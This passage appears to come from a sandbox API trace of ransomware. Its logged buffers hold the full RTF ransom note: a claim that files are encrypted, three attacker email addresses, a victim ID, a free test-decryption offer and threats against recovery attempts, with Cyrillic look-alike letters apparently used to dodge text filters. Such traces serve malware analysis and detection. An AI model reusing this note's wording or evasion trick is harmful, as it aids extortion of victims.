t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n$½×\x04®\x0fQ\x90úo¯\x06]¾¤\x93_·wQ5\x89ô°\x8c±í2d\x01\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.274] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) 